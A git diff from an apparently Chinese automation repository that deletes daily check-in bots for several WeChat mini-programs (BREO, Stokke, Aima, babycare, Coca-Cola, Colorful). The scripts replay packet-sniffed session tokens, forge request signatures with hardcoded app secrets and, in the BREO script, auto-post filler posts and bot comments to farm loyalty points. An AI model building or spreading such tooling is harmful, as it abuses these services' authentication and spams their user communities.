t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); break; case "Node.js": this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) } diff --git a/qtx.js b/backup/qtx.js similarity index 100% rename from qtx.js rename to backup/qtx.js diff --git a/ruilanCar.js b/backup/ruilanCar.js similarity index 100% rename from ruilanCar.js rename to backup/ruilanCar.js diff --git a/tianyi.py b/backup/tianyi.py similarity index 100% rename from tianyi.py rename to backup/tianyi.py diff --git a/xiaosatonglu.js b/backup/xiaosatonglu.js similarity index 100% rename from xiaosatonglu.js rename to backup/xiaosatonglu.js diff --git a/daily/BREO.py b/daily/BREO.py deleted file mode 100644 index 82ea9a30..00000000 --- a/daily/BREO.py +++ /dev/null @@ -1,248 +0,0 @@ -#by:哆啦A梦 -#入口:http://mx.qrurl.net/h5/wxa/link?sid=26407uif5Oq -#抓包breoplus.breo.cn的域名下的token,多账号换行分割 -#账号变量名:BREO -#new Env("BREO") -#cron 8 9,10,11 * * * - - -import requests -import json -import os -import time - -def get_random_one_word(): - try: - response = requests.get("https://uapis.cn/api/say") - if response.status_code == 200: - return response.text.strip() - else: - return "无法获取一言" - except Exception as e: - print(f"获取一言时出错: {e}") - return "无法获取一言" - -def get_proclamation(): - primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" - backup_url = "https://tfapi.cn/TL/tl.json" - try: - response = requests.get(primary_url, timeout=10) - if response.status_code == 200: - print("\n" + "=" * 50) - print("📢 公告信息") - print("=" * 35) - print(response.text) - print("=" * 35 + "\n") - print("公告获取成功,开始执行任务...\n") - return - except requests.exceptions.RequestException as e: - print(f"获取公告时发生错误: {e}, 尝试备用链接...") - - try: - response = requests.get(backup_url, timeout=10) - if response.status_code == 200: - print("\n" + "=" * 50) - print("📢 公告信息") - print("=" * 35) - print(response.text) - print("=" * 35 + "\n") - print("公告获取成功,开始执行任务...\n") - else: - print(f"⚠️ 获取公告失败,状态码: {response.status_code}") - except requests.exceptions.RequestException as e: - print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") - -def post_to_breo(token, content, title): - url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/releasePost" - headers = { - "token": token, - "device-type": "Xiaomi", - "device-version": "10", - "channel": "Breo", - "version_code": "30201", - "version": "3.2.1", - "encrypt": "1", - "Content-Type": "application/json; charset=UTF-8" - } - data = { - "anonymoused": 1, - "content": content, - "expressText": "", - "images": [], - "subTitle": "", - "title": title, - "topicText": "" - } - try: - response = requests.post(url, headers=headers, data=json.dumps(data)) - if response.status_code == 200: - result = response.json() - if result.get("success", False): - print("✅ 发帖成功!") - print(f"帖子 ID: {result['result']['id']}") - print(f"帖子标题: {result['result']['title']}") - return result["result"]["id"] - else: - print(f"❌ 发帖失败,错误信息:{result.get('message', '未知错误')}") - return None - else: - print(f"❌ 请求失败,状态码:{response.status_code}") - return None - except Exception as e: - print(f"❌ 请求错误: {e}") - return None - -def collect_post(token, post_id): - url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/collect" - headers = { - "token": token, - "device-type": "Xiaomi", - "device-version": "10", - "channel": "Breo", - "version_code": "30201", - "version": "3.2.1", - "encrypt": "1", - "Content-Type": "application/json; charset=UTF-8" - } - data = { - "postId": post_id - } - try: - response = requests.post(url, headers=headers, data=json.dumps(data)) - if response.status_code == 200: - result = response.json() - if result.get("success", False): - print("✅ 收藏成功!") - print(f"获得点数: {result['result']['point']}") - print(f"成长值: {result['result']['grow']}") - else: - print(f"❌ 收藏失败,错误信息:{result.get('message', '未知错误')}") - else: - print(f"❌ 请求失败,状态码:{response.status_code}") - except Exception as e: - print(f"❌ 请求错误: {e}") - -def comment_post(token, post_id): - for _ in range(2): # 评论2次 - comment_content = get_random_one_word() # 使用随机一言作为评论内容 - url = "https://breoplus.breo.cn/breo-app/communityBaseInfo/comment" - headers = { - "token": token, - "device-type": "Xiaomi", - "device-version": "10", - "channel": "Breo", - "version_code": "30201", - "version": "3.2.1", - "encrypt": "1", - "Content-Type": "application/json; charset=UTF-8" - } - data = { - "anonymoused": 0, - "commentText": comment_content, - "postId": post_id - } - try: - response = requests.post(url, headers=headers, data=json.dumps(data)) - if response.status_code == 200: - result = response.json() - if result.get("success", False): - print("✅ 评论成功!") - print(f"评论内容: {result['result']['rootOutVO']['commentText']}") - print(f"获得点数: {result['result']['point']}") - print(f"成长值: {result['result']['grow']}") - else: - print(f"❌ 评论失败,错误信息:{result.get('message', '未知错误')}") - else: - print(f"❌ 请求失败,状态码:{response.status_code}") - except Exception as e: - print(f"❌ 请求错误: {e}") - time.sleep(1) # 避免频繁请求 - -def browse_mall(token): - url = "https://breoplus.breo.cn/breo-app/user/po-task-info/mall" - headers = { - "token": token, - "device-type": "Xiaomi", - "device-version": "10", - "channel": "Breo", - "version_code": "30201", - "version": "3.2.1", - "encrypt": "1" - } - try: - response = requests.post(url, headers=headers) - if response.status_code == 200: - result = response.json() - if result.get("success", False): - print("✅ 浏览商城成功!") - print(f"获得点数: {result['result']['point']}") - print(f"成长值: {result['result']['grow']}") - else: - print(f"❌ 浏览商城失败,错误信息:{result.get('message', '未知错误')}") - else: - print(f"❌ 请求失败,状态码:{response.status_code}") - except Exception as e: - print(f"❌ 请求错误: {e}") - -def punch_in(token): - url = "https://breoplus.breo.cn/breo-app/user/po-task-info/punch" - headers = { - "Host": "breoplus.breo.cn", - "Connection": "keep-alive", - "Content-Length": "0", - "content-type": "application/json", - "token": token, - "charset": "utf-8", - "Referer": "https://servicewechat.com/wx61457400e4212cec/304/page-frame.html", - "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340043 MMWEBSDK/20241202 MMWEBID/3628 MicroMessenger/8.0.56.2800(0x2800385E) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android", - "Accept-Encoding": "gzip, deflate, br" - } - try: - response = requests.post(url, headers=headers) - if response.status_code == 200: - result = response.json() - if result.get("success", False): - print("✅ 签到成功!") - print(f"获得点数: {result['result']['point']}") - print(f"成长值: {result['result']['grow']}") - else: - print(f"❌ 签到失败,错误信息:{result.get('message', '未知错误')}") - else: - print(f"❌ 请求失败,状态码:{response.status_code}") - except Exception as e: - print(f"❌ 请求错误: {e}") - -if __name__ == "__main__": - # 获取公告 - #get_proclamation() - - # 从环境变量读取 token - tokens = os.getenv("BREO", "").splitlines() - - if not tokens: - print("❌ 未检测到 账号信息,退出脚本。") - else: - print("=============== 开始执行任务 ===============") - for i, token in enumerate(tokens, 1): - if token.strip(): # 跳过空行 - print(f"\n-------------- 账号 {i} 开始 --------------") - print("🚀 正在签到...") - punch_in(token) - - print("\n📝 正在发布帖子...") - post_id = post_to_breo(token, "这是一个自动发布的帖子", "自动化测试") - if post_id: - print("\n⭐ 正在收藏帖子...") - collect_post(token, post_id) - - print("\n💬 正在评论帖子...") - comment_post(token, post_id) - else: - print("❌ 发帖失败,跳过后续操作。") - - print("\n🛒 正在浏览商城...") - browse_mall(token) - - print(f"-------------- 账号 {i} 结束 --------------") - - print("\n=============== 所有任务执行完毕 ===============") \ No newline at end of file diff --git a/daily/STOKKE.py b/daily/STOKKE.py deleted file mode 100644 index 20a1b2d8..00000000 --- a/daily/STOKKE.py +++ /dev/null @@ -1,102 +0,0 @@ -#抓包www.stokkeshop.cn域名下的Authori-zation值填到环境变量STOKKE中,多账号用&分割 -#入口:http://mx.qrurl.net/h5/wxa/link?sid=26407QRIfeH -# new Env("stokkes小程序签到") -# cron 1 7 * * * - -import os -import re -import requests -from typing import List, Dict, Tuple - -# ---------- 通用请求头 ---------- -_BASE_HEADERS = { - "Host": "www.stokkeshop.cn", - "Connection": "keep-alive", - "content-type": "application/json", - "charset": "utf-8", - "Referer": "https://servicewechat.com/wxe232c36aaca3dc1a/34/page-frame.html", - "Accept-Encoding": "gzip, deflate, br" -} - -# ---------- 获取用户信息 ---------- -def _get_user_info(token: str) -> Dict[str, str]: - - url = "https://www.stokkeshop.cn/api/front/user" - headers = _BASE_HEADERS.copy() - headers["Authori-zation"] = token - try: - resp = requests.get(url, headers=headers, timeout=10) - resp.raise_for_status() - data = resp.json() - if data.get("code") != 200: - return {} - d = data["data"] - raw_phone = d["phone"] - masked = re.sub(r"(\d{3})\d{4}(\d{4})", r"\1****\2", raw_phone) - return {"nick": d["nickname"], "phone": masked, "integral": str(d["integral"])} - except Exception: - return {} - -# ---------- 签到 ---------- -def week_sign_all() -> None: - tokens = os.getenv("STOKKE", "").split("&") - if not tokens or tokens == [""]: - print("⚠️ 环境变量 STOKKE 为空,未配置任何 账号信息。") - - return - - url = "https://www.stokkeshop.cn/api/front/integral-task/finishWeekSign" - payload = {} - - for token in tokens: - token = token.strip() - if not token: - continue - - user = _get_user_info(token) - if not user: - print("❌ 获取用户信息失败,跳过当前账号。") - print("=" * 45) - continue - - headers = _BASE_HEADERS.copy() - headers["Authori-zation"] = token - try: - resp = requests.post(url, json=payload, headers=headers, timeout=10) - resp.raise_for_status() - data = resp.json() - ok = data.get("code") == 200 - print( - f"{'✅' if ok else '❌'} " - f"{user['nick']}({user['phone']}) 签到{'成功' if ok else '失败'}," - f"当前积分 {user['integral']}" - ) - print("=" * 45) - except Exception as e: - print( - f"❗ 网络异常:{user['nick']}({user['phone']}) 签到失败,当前积分 {user['integral']} " - f"({e})" - ) - -# -------------------- 公告 -------------------- -def get_proclamation(): - primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" - backup_url = "https://tfapi.cn/TL/tl.json" - - for url in (primary_url, backup_url): - try: - r = requests.get(url, timeout=10) - if r.status_code == 200: - print("📢 公告信息") - print("=" * 45) - print(r.text) - print("=" * 45 + "\n") - return - except Exception as e: - continue - print("⚠️ 获取公告失败,跳过公告直接执行签到...\n") - -# ---------- 示例 ---------- -if __name__ == "__main__": - #get_proclamation() - week_sign_all() \ No newline at end of file diff --git a/daily/aima.js b/daily/aima.js deleted file mode 100644 index 207e2c2b..00000000 --- a/daily/aima.js +++ /dev/null @@ -1,122 +0,0 @@ -/* -爱玛会员俱乐部 - 自动签到脚本(2026年2月修复版) -✅ 修复点:使用域名替代失效IP,更新活动ID为100001180 -✅ 支持环境:Node.js -✅ 变量名:aima -✅ 变量值:access-token(支持多账号,用 & 或换行分隔) -*/ -const { Env } = require("../tools/env") -const $ = new Env("爱玛会员俱乐部"); -const axios = require('axios') - -// ================== 配置区 ================== -const ACTIVITY_ID = "100001192"; // 2026年2月活动ID -const BASE_URL = "https://scrm.aimatech.com"; // 使用官方域名,不再硬编码IP -const APP_ID = "scrm"; -const USER_AGENT = "Mozilla/5.0 (Linux; Android 15; 23013RK75C Build/AQ3A.250226.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/142.0.7444.173 Mobile Safari/537.36 XWEB/1420229 MMWEBSDK/20251101 MMWEBID/6369 MicroMessenger/8.0.67.3000(0x28004333) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"; - -// ================== 工具函数 ================== -function generateUUID() { - return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) { - const r = Math.random() * 16 | 0; - const v = c === 'x' ? r : (r & 0x3 | 0x8); - return v.toString(16); - }); -} - -function md5(str) { - const crypto = require('crypto'); - return crypto.createHash('md5').update(str).digest('hex'); -} - -// ================== 核心逻辑 ================== -async function signIn(token, index) { - try { - const timestamp = Date.now(); - const traceLogId = generateUUID(); - - // 构造通用请求头 - const headers = { - "App-Id": APP_ID, - "Time-Stamp": timestamp.toString(), - "TraceLog-Id": traceLogId, - "Access-Token": token.trim(), - "content-type": "application/json", - "User-Agent": USER_AGENT, - "charset": "utf-8", - "Referer": "https://servicewechat.com/wx2dcfb409fd5ddfb4/215/page-frame.html" - }; - - // 生成签名(按规则拼接) - const signStr = `${APP_ID}${timestamp}${traceLogId}${token.trim()}AimaScrm321_^`; - headers["Sign"] = md5(signStr).toLowerCase(); - - // 1. 查询签到状态 - $.log(`🚀 账号【${index}】查询签到状态...`); - const searchRes = await axios.post( - `${BASE_URL}/aima/wxclient/mkt/activities/sign:search`, - { activityId: ACTIVITY_ID }, - { headers, timeout: 10000 } - ); - - const data = searchRes.data; - if (data.content && data.content.signed === 1) { - $.log(`✅ 账号【${index}】今日已签到!`); - return; - } - - // 2. 执行签到 - $.log(`⏳ 账号【${index}】正在签到...`); - const joinRes = await axios.post( - `${BASE_URL}/aima/wxclient/mkt/activities/sign:join`, - { activityId: ACTIVITY_ID, activitySceneId: null }, - { headers, timeout: 10000 } - ); - - if (joinRes.data.code === 200 || joinRes.data.code === 0) { - const point = joinRes.data.content?.point || 10; - $.log(`🎉 账号【${index}】签到成功!获得 ${point} 积分`); - } else { - throw new Error(`签到失败: ${JSON.stringify(joinRes.data)}`); - } - - } catch (e) { - throw new Error(e.message || e); - } -} - -// ================== 主函数 ================== -!(async () => { - console.log(`\n🔔 爱玛会员俱乐部, 开始!`); - - // 获取 access-token(支持多账号) - let tokens = []; - if ($.isNode()) { - const env = process.env.aima; - if (env) { - tokens = env.split(/&|\n/).filter(t => t.trim()); - } - } - - if (tokens.length === 0) { - $.msg("❌ 未找到 access-token,请配置变量 'aima'"); - return; - } - - console.log(`共找到${tokens.length}个账号`); - - for (let i = 0; i < tokens.length; i++) { - try { - console.log(`\n🚀 user:【${i + 1}】 start work`); - await signIn(tokens[i], i + 1); - } catch (e) { - console.log(`❌ 账号【${i + 1}】执行失败: ${e.message}`); - } - } - - // 发送通知 - //await $.sendMsg($.logs.join("\n")); -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - diff --git a/daily/babycare.js b/daily/babycare.js deleted file mode 100644 index 935be135..00000000 --- a/daily/babycare.js +++ /dev/null @@ -1,124 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: babycare -cron: 30 8 * * * ------------------------------------------- -#Notice: -微信小程序抓包的https://api.bckid.com.cn请求头authorization - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("babycare"); -let ckName = `babycare`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - - } - - async run() { - - await this.info() - await this.signIn() - } - - async signIn() { - let options = { - method: 'POST', - url: `https://api.bckid.com.cn/operation/front/bonus/userSign/v3/sign`, - headers: { - 'Host': 'api.bckid.com.cn', - 'authorization': this.token, - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - data: { - - } - }; - let { data: result } = await axios.request(options); - if (result?.code == '200') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `🕊当前已签到${result.body.signDaysCountMod}天🎉`); - } else { - $.log(`🌸账号[${this.index}] 签到-失败:${result.message}❌`) - } - - - - - } - async info() { - let options = { - url: 'https://api.bckid.com.cn/operation/front/bonus/userBonus/getUserBonus', - headers: { - 'Host': 'api.bckid.com.cn', - 'authorization': this.token, - 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', - }, - method: 'POST', - data: {} - } - let { data: result } = await axios.request(options); - if (result?.code == '200') { - //打印签到结果 - $.log(`🌸账号[${this.index}]` + `🕊账户当前积分[${result.body.userBonus}],历史积分[${result.body.sumBonus}]💰`); - } else { - $.log(`🌸账号[${this.index}]积分查询失败:${result.message}❌`) - } - } - - - - - - - -} - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - await new Task(user).run(); - } -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} \ No newline at end of file diff --git a/daily/coke.js b/daily/coke.js deleted file mode 100644 index d4a7291b..00000000 --- a/daily/coke.js +++ /dev/null @@ -1,152 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 测试 -cron 8 10 * * * ------------------------------------------- -#Notice: - 变量名kekoukeleba 抓小程序可口可乐吧 member-api.icoke.cn/api Headers中 authorization 去掉Bearer 多账号&连接 -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ -const { Env } = require('../tools/env'); -const $ = new Env("可口可乐吧"); -let ckName = `kekoukeleba`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - -class Public { - request(options) { - return axios.request(options); - } -} -class Task extends Public { - constructor(env) { - - super(); - this.index = $.userIdx++ - let user = env.split(strSplitor); - this.token = user[0]; - this.isSign = false; - } - async addSign() { - let options = { - method: "GET", - url: "https://member-api.icoke.cn/api/icoke-sign/icoke/mini/sign/main/sign", - headers: { - "accept": "application/json, text/plain, */*", - "accept-language": "zh-CN,zh;q=0.9", - "authorization": "" + this.token, - "content-type": "application/json", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "xweb_xhr": "1", - "Referer": "https://servicewechat.com/wxa5811e0426a94686/421/page-frame.html", - "Referrer-Policy": "unsafe-url" - }, - - } - try { - let { data: res } = await this.request(options); - if (res.success == true) { - $.log(`签到成功 获得【${res.point}】快乐瓶`) - } else { - $.log(`签到失败`) - console.log(res); - } - } catch (e) { - console.log(e); - - } - } - async userInfo() { - let options = { - method: "GET", - url: "https://member-api.icoke.cn/api/icoke-customer/icoke/mini/customer/main/points", - headers: { - "accept": "application/json, text/plain, */*", - "accept-language": "zh-CN,zh;q=0.9", - "authorization": "" + this.token, - "content-type": "application/json", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "xweb_xhr": "1", - "Referer": "https://servicewechat.com/wxa5811e0426a94686/421/page-frame.html", - "Referrer-Policy": "unsafe-url" - }, - - } - try { - let { data: res } = await this.request(options); - $.log(`目前还剩【${res.point}】瓶 `) - - } catch (e) { - console.log(e); - - } - } - async run() { - - await this.userInfo(); - - await this.addSign(); - - - - } - - -} - - - - - - - -!(async () => { - await getNotice() - $.checkEnv(ckName); - - for (let user of $.userList) { - // - - await new Task(user).run(); - - } - - -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -async function getNotice() { - try { - let options = { - url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, - headers: { - "User-Agent": defaultUserAgent, - }, - timeout:3000 - } - let { - data: res - } = await axios.request(options); - $.log(res) - return res - } catch (e) {} - -} - - diff --git a/daily/colorful.js b/daily/colorful.js deleted file mode 100644 index c857bc8e..00000000 --- a/daily/colorful.js +++ /dev/null @@ -1,219 +0,0 @@ -/* ------------------------------------------- -@Author: sm -@Date: 2024.06.07 19:15 -@Description: 七彩虹微信小程序 签到&点赞 -cron: 30 10 * * * ------------------------------------------- -#Notice: -变量名:colorful -抓取 -https://interface.skycolorful.com/api 请求头的authorization去掉Bearer -多账户&或换行 - -⚠️【免责声明】 ------------------------------------------- -1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 -2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 -3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 -4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 -5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 -6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 -7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 -*/ - -const { Env } = require("../tools/env") -const $ = new Env("colorful七彩虹"); -let ckName = `colorful`; -const strSplitor = "#"; -const axios = require("axios"); -const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" - - -class Task { - constructor(env) { - this.index = $.userIdx++ - this.user = env.split(strSplitor); - this.token = this.user[0]; - this.signStatus = false; - this.expireFlag = false; - } - - async run() { - await this.getTokenExpireTime() - await this.getUserInfo() - await this.getSignInfo() - - if (this.signStatus) { - $.log(`账号[${this.index}]已签到`) - return - } - await this.signInV2() - } - async getTokenExpireTime() { - let options = { - method: 'POST', - url: `https://interface.skycolorful.com/api/User/RefreshLoginTime`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "content-type": "application/json", - "sec-fetch-dest": "empty", - }, - data: { "phone": "" } - } - let { data: result } = await this.request(options); - if (result.Code != 0) { - this.expireFlag = true - } - - } - async refreshToken(DATA) { - let options = { - method: 'POST', - url: `https://interface.skycolorful.com/api/User/DecryptPhoneNumber`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "content-type": "application/json", - "sec-fetch-dest": "empty", - }, - data: DATA - } - let { data: result } = await this.request(options); - if (result.Code != 0) { - this.expireFlag = true - } else { - this.token = result.Data.Token - } - } - MD5(str) { - const crypto = require('crypto'); - return crypto.createHash('md5').update(str).digest('hex'); - } - request(options) { - let appid = "815d8026-9a52-4445-a42c-a5443134232e" - let uuid = $.uuid() - let timestamp = Date.now() - let sign = this.MD5(appid + timestamp + uuid + '2b5c01fb-7640-401a-8188-43a13190a626') - let baseHeaders = { - "User-Agent": defaultUserAgent, - "requestid": uuid, - "appid": appid, - "ticks": "" + timestamp, - "sign": sign, - "authorization": "Bearer " + this.token, - "source": "Wx", - "ucsource": "30", - "user-from": "xcx", - - - } - options.headers = Object.assign(baseHeaders, options.headers) - return axios.request(options) - } - - async signInV2() { - let options = { - method: 'POST', - url: `https://interface.skycolorful.com/api/User/SignV2`, - headers: { - "accept": "*/*", - "accept-language": "zh-CN,zh;q=0.9", - "content-type": "application/json", - "sec-fetch-dest": "empty", - "sec-fetch-mode": "cors", - "sec-fetch-site": "cross-site", - "xweb_xhr": "1" - }, - data: { - - } - 